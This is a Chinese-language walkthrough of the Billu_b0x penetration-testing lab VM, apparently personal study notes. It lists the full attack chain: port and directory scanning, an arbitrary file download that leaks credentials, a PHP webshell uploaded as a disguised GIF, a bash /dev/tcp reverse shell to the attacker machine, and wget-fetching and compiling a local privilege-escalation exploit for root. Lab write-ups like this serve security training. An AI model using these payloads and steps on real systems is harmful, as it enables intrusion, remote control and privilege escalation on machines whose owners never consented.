billu_b0x靶场难度:适中;感觉很多东西还没掌握,后期继续完善!
一、环境配置
攻击机:kali (192.168.153.138)
靶机:Billu_b0x(192.168.153.149)
提取码:wxhn(百度网盘下载解压后直接导入vmware就可以了)
攻击机和靶机都设置成nat模式
二、渗透过程
1、发现主机(nmap扫描)
nmap -sP 192.168.153.1/24
2、扫描目标主机开放端口
namp -sS 192.168.153.149
发现目标靶机开放了22、80端口
3、扫描端口开放服务
nmap -sV -T4 -O 192.168.153.136 -p 22,80
访问ip看一下(80是默认端口,访问的时候可以不加也可以加)
页面提示:how me your SQLI skills
尝试了一下万能密码SQL注入,但是没有成功,所以继续找其他思路
4、扫描目录(dirb是kali自带的目录扫描工具)
dirb http://192.168.153.136 /usr/share/wordlists/dirb/big.txt
5、看一下总共有几个可以带来有用的信息
http://192.168.153.149/in.php
http://192.168.153.149/phpmy
http://192.168.153.149/add.php
http://192.168.153.149/test.php
http://192.168.153.149/c.php
http://192.168.153.149/index.php
http://192.168.153.149/show.php
http://192.168.153.149/panel.php
http://192.168.153.149/in
http://192.168.153.136/phpmy
发现一个phpmyadmin的登陆页面,尝试弱口令但是进不去,我们没有账号和密码就先继续看其他目录
http://192.168.153.136/c.php
空白页面,先放着
同样是空白页面,先放着
http://192.168.153.136/test
提示
'file' parameter is empty. Please provide file path in 'file' parameter
“file”参数为空,请在“file”参数中提供文件路径
尝试使用GET传参访问/etc/passw目录
GET传参失败,试一下POST传参
/etc/passwd的信息被下载下来了,可见此处存在任意文件下载
发现该目录存在任意文件下载漏洞,那么就有思路了,我们把前面几个文件都下载下来看一下,(此处用的是brupsuit抓包测试,也可以直接下载下来)
c.php
账号:billu
密码:b0x_billu
发现了个mysql的账号密码,让我们回到刚才的mysql管理平台页面试一下
成功拿到了登录页面的账号密码,回到web登录页面试一下
成功登录
在show users页面发现文件上传路径
add Users是个上传页面
<?php
system($_GET['cmd']);
?>
我们先上传一个一句话木马文件尝试一下
上传失败,并且给我们提示只能上传png、jpg、gif文件
那么我们就上传一个图片马,并且加上GIF89a绕过文件头检测
上传成功
然后用brupsuit抓show user包执行命令看一下
三、执行命令成功之后下一步就是反弹shell
1、kali命令行里输入nc -lvnp 9999开始监听
2、burp的post请求中执行echo “bash -i >& /dev/tcp/192.168.153.138/9999 0>&1” | bash,(注意要将此命令先经过URL编码才能发送,直接在burpsuit里面的Decoder就可以加密了)
3、反弹shell成功(但是只是普通权限)
4、很明显我们拿到的只是普通权限,接下来就是提权
cat /etc/issue(查看当前系统版本)
Ubuntu 12.04
5、重新在kali打开一个终端,使用 Kali 的漏洞查找工具(searchsploit)找到那个最适合该系统版本的
searchsploit Ubuntu 12.04
6、直接把37292.c文件copy到Apache的根目录下
cd /usr/share/exploitdb/exploits/linux/loca
cp 37292.c /var/www/html
7、开启kali的Apache服务
/etc/init.d/apache2 start
8、这里我们要先切换到临时目录,然后wget下载
cd /tmp
wget http://192.168.153.138/37292.c
9、然后编译执行,成功提权
gcc 37292.c -o abc
./abc
10、虽然已经是root权限但是目前还是半交互式,我们改成全交互式
python -c 'import pty;pty.spawn("/bin/bash")'